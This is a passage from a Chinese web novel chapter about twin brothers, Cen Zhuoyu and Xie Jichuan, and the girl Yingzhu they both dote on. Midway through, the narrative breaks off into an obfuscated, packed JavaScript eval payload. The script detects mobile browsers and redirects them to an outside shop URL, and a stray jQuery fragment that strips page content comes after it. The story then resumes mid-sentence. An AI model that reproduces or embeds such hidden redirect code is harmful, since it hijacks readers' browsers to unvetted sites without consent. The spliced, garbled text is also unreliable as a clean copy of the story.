“知道你们都有出息,我就放心了。”
谢重柏赞许的目光落在岑濯玉身上,端详了片刻,点了点头,转过眼时,视线掠过同样端坐在一旁的谢既川,眼角的笑意淡了些。
他站起身,拢了拢衣襟:“你们兄弟难得重聚,也该说会儿体己话,我先回去了。”
说罢,转身往外去了。
“舅舅慢走。”岑濯玉起身恭送,弯着腰,姿态恭谨。
谢既川却连屁股都没抬一下,眼神轻蔑,嘴角挂着一丝冷笑:他不喜欢这些人打着亲戚的名号扮和气,心里明明没拿他当一家人,面上样子却做的比谁都足,而他的好大哥,在大户人家里浸淫久了,也学会了这般虚伪做派。
他心有不忿,但瞥见岑濯玉投过来的眼神催促,到底还是不情愿地站了起来,敷衍地对着舅舅离去的背影拱了拱手。
外头院门开了又关,庭院窄小,一眼便能窥见院中的全貌,并无半个人影。
风卷起地上几片枯叶,打着旋儿滚到墙角,寒意从屋门外渗进来,吹散了好不容易在炭盆边聚起的暖意。
岑濯玉上前关紧门,回头时才有空细细打量弟弟的屋子:陈设简陋,物件泛着老旧的黄,跟他上次来探望时相差无几。
他在桌边坐下,理平的衣裳下摆自然垂落,语气关切:“你今年过得不大顺?方才听舅舅话里的意思,你似乎顶撞过他,还跟表哥又起了冲突?”
谢既川不屑地扭过脸去,嘴角冷笑:“你不是忙着读书和看孩子吗,还有闲心管我?”
两人长着一模一样的脸,未长开的身形遮在冬衣下也看不出差异,可眼角眉梢的气韵却大有不同。
岑濯玉的目光宁静从容,如和煦阳光下一潭平静的水,看不出深浅;谢既川的眉眼间却带着几分备受压抑的怨愤,像烧了一半的火,燃不起也灭不掉,闷在胸腔里,燥的难受。
他幽怨地开口,声音不高,字字带刺:“当初是谁说,离了家才有活路,迟早有一天咱们兄弟能出人头地?如今倒好,我还在这儿被谢家人排挤,你不肯出手帮我,反倒把那个野丫头接进苏州城,当宝贝一样养着?”
岑濯玉静静地看着弟弟愤怒不甘的表情,沉默片刻,忽然抬手,“啪”一声,在他脸上落下一巴掌。
谢既川吃痛,愣了一下,心里那股火气稍微散了些,低头喘着粗气,攥紧的拳头慢慢松开。
“你想让我帮你?”岑濯玉收回手,声音冷若冰霜,显露出这个年纪不该有的成熟,指责道,“看看你自己的德性,谢家上下才几口人,你连他们都搞不定,还妄想进岑府,是故意给我找麻烦吗?”
谢既川咬了咬牙,胸口起伏,到底把到嘴边的话咽了回去,神情稍有收敛。
岑濯玉眸光微冷,盯着他道:“我知你心比天高,还记着外公的嘱托,可现在物是人非,寄人篱下,就要有低人一等的觉悟,除非你哪天真练得武艺高超,能自食其力。”
一番训斥下来,谢既川不吱声了。
他低着头,看着自己磨破的袖口,沉默了很久,才闷闷地开口:“那你为什么要救那个丫头?她娘害得咱们兄弟分离,你不恨她,却还养她?”
闻言,岑濯玉的目光忽然柔和下来,微侧过头,看向窗外略显阴沉的天:“你不懂。”
“你念过的书,我也都读了,我有什么不懂。”谢既川哼了一声,撇过脸去。
这是独属于兄弟二人的秘密。
每次见面,鲜少叙旧情,而是会把自己近来学到的东西教给对方,学不学得会看悟性和本事,彼此分享、互通有无却是雷打不动的习惯,以此维系他们被求生意识压迫到几乎淡薄的兄弟情义。
是以,关于莹珠的一切,岑濯玉也要对弟弟交代明白,斟酌着开口。
“父亲近年来三灾两痛不断,时好时坏,我担心他出意外后,我在岑府连个信得过的人都没有。”
“你骗人。”谢既川猛地转过头来,目光锐利,“你连身边的小厮都信不过,连我都不愿接到身边,竟然会指望信任一个小丫头?”
他是个脾气暴躁的直肠子,哪怕一母同胞所出,也从来都看不懂大哥的深思熟虑下到底在盘算什么,不由得焦躁起来,咬牙,提醒他:“哥,我们在娘的坟前发过誓,永远不许欺瞒对方。”
听罢,岑濯玉难得眼神发虚,双眸微垂,脑海中浮现出莹珠陪伴在他身边时可爱的笑脸。
犹豫片刻,才低声答:“既川,像我们这样的人,一无所有,却比谁都贪心,我们没有家,只能在不同的人之间辗转……我有时不明白这样活着有什么意思。”
微微停顿,“但在小宝面前,我可以什么都不想,有她在,我就能安心,勤奋隐忍,厚积薄发,不只是为我们自己,也是为了让小宝能过得舒坦。”
小宝小宝,一口一个叫得那么亲。
兄弟二人儿时识字少,把“莹”认作“宝”,傻乎乎地叫了到分别,哥如今都念五经了,打小精明的一个人,竟把个错字念到现在。
谢既川心里翻搅着,很不是滋味:原本莹珠还不知在哪儿时,他们兄弟就是这样相处的,彼此间亲近又疏远、信任又嫌弃,可如今她横插进来,日日跟大哥待在一处,倒显得他们才是亲兄妹,而他又成了那个被排挤、没人要的孩子。
他没再细听哥哥后面说了什么,转身走到桌边,将自己参透并画下来的拳谱、剑谱一并翻出来,摞在桌上,推到他面前。
“你先看这些吧,我要出去透透气。”说完,推开门头也不回地走了出去。
眼瞅着便到年节,谢既川穿的也体面,一头长发未束,只用发带在脑后扎一个长马尾,走起路来虎虎生风。
头顶飘落的雪花打消了些许他心中的燥热,他总学不会岑濯玉那般稳重平静,是因长在谢家,讲力气和拳头的地方,太温和有礼,反而会被瞧不起。
他看得很明白,外公过世前,是想把镖局留给他一半的,但有舅舅在上头压着,他又如何看得见那白纸黑字的遗书,只装不知。
如今舅舅还没发作,表哥已经把他当作眼中钉,肉中刺,是无论如何都不会让他继续留在谢家了。
武艺高超,自食其力……
脑海中浮现出大哥的话,不知是赌气还是真想通了,谢既川走在落雪中,头脑被吹得发凉,倒真给自己谋了个出路。
正想着,身旁小路上传来一声呼唤。
“哥哥!”
转眼看去,穿着件白色披风的女孩小跑着奔向他的方向,小半张脸埋在毛茸茸的白色围领中,迈着小短腿,跟只刚下生的老鼠似的又瘦又小,眼睛却笑弯弯的,瞧得人莫名心软。
谢既川蹙眉,习武之人的本能让他对陌生人突然的靠近下意识躲避,后退半步却停了下来。
女孩蹦一步到他面前,扬起来的小脸哈着热气,飘落的雪花粘在她的头发上,分明是严寒的冬日,她却笑得像朵花儿,仿佛感受不到寒冷,只想到他身边来。
熟悉的面孔靠近,少年微怔,仍记得,她还是个小娃娃时就很好动,能吃能睡,每晚都被蹬被子,气得他好几次都想打她屁股,偏大哥对她有耐心,一夜不落的给她掖被角,喂奶,换尿布——真的分不清是哥还是娘。
如今养在身边,果然被惯的更调皮了,知道不是自己家,也敢一个人乱跑乱窜。
谢既川想给她个教训。
于是立在原地,抱起手臂来,板着脸想要吓她一吓。
莹珠个子才到他的大腿,近到身前,只着急想要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780908|210097||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哥哥抱,哪瞧得见少年脸上表情的变化,头顶的积雪渐渐多起来,有些凉。
她熟门熟路地撩开他的外袍,躲进了他衣裳下摆里,顶着的少年体温,亲昵的去牵他的手,鼻尖抖了抖,轻嗅他身上的气味,察觉有些不对劲。
“哥哥,你身上怎么不香了?”
女孩藏在他袍子下,古怪的耸着鼻子。
谢既川哪儿哪儿都感觉不舒服,后背发麻:这丫头是只老鼠不成?怎一见面就往人衣裳里钻,虽说正在下雪,可她也不该如此莽撞,简直成何体统!
粗惯了的少年一时噎住了嗓子,不知该说些什么,向来都是他被舅舅舅妈嫌弃不成样子,今日竟轮到他来嫌弃别人了。
“哥哥,雪下大了,你还不回去吗?舅妈说后堂备了饭,让咱们过去吃呢。”
女孩紧靠着他的腿站着,谢既川几乎都能感觉到她的小脸贴在他腿侧的柔软触感,像只刚下生的脆弱生命,伸手戳两下都能把她惹哭。
想把她拎出来,手抬了一下,又不知道该怎么下手。
谢既川咬了咬牙,也不知自己心里是怎么想的,忽然酸里酸气的问了句,“舅妈只让咱们去吃,也不叫上既川吗?”
“既川是谁?”莹珠疑惑。
少年嘴角勾笑,蹲下身,将她从避雪的袍子下抱出来,轻轻松松就将人抱到高处,叫她坐在自己脖子后,反过来给他遮雪——为自己高明的报复手段,暗中偷喜。
莹珠不晓得他在想什么,忽然坐到高处,看到比哥哥还要高的视野,心下有些怕,但因为是哥哥,她很快就觉得好玩起来,晃起了脚丫。
谢既川向前走,慢悠悠道:“想我平日定是读书读傻了,竟然没跟你说过既川的事。”
女孩软软的身子趴在他脑袋上,手指拨弄两下他的高马尾,心里正好奇:哥哥什么时候梳高辫子了?
现在的哥哥好像有点不一样,但……给她的感觉是一样的,很亲切,很安全。
两人正走着,不远处的雪中走来一人。
莹珠还记得哥哥叮嘱过,在舅舅家里要规规矩矩的,听到有脚步声靠近,察觉自己现在的样子很“不乖”,忙捏住了哥哥的耳朵,想要下去。
谢既川听出了是谁走来,心中甚稳,原还想拿身上这只小老鼠跟他耀武扬威一番,谁曾想这丫头跟被针扎了似的突然闹腾起来,非要下去,他一时没反应过来,被揪的耳朵疼。
“你这丫头……”谢既川咬着牙把人抱下来,余光瞥见岑濯玉已到身前,本要把女孩放到地上的手臂忽然往回一收,捞回了自己怀中。
莹珠轻飘飘的小身子一会儿向下,一会儿又向上,哥哥的力气忽然变得好大,拽得她有点头晕。
晃了晃脑袋才回过神,看向来人,正要跟人问好,却看到一张格外熟悉的脸。
“哥哥?”她有点懵。
扭头又看自己身边这个,“哥哥……?”
谢既川嘴角勾笑,搂紧了她,顺势向岑濯玉挑衅,“哥,你看莹珠这么喜欢我,不如就叫我养她吧,省得她让你费心,扰了你念书,耽误你的大好前程。”
岑濯玉微冷的神情在看到莹珠后,很快变回了原本温润如玉的面孔,不理会弟弟幼稚的别扭,只伸手呼唤莹珠。
“小宝,过来。”
他才不会给他:谢既川眼神一沉。
怀里的女孩却不管他的小心思,手脚并用的扑腾,好像他这儿是滚油锅似的,拼了命要往外逃。
他自诩不小的力气,竟然抓不住她,本来就瘦,缩起身子就跟只泥鳅似的,从他臂弯间滑出去了,若不是他反应快蹲了下身子,这死丫头就要摔到屁股了。
瞧她头也不回的往岑濯玉那儿跑,谢既川心头莫名窝火。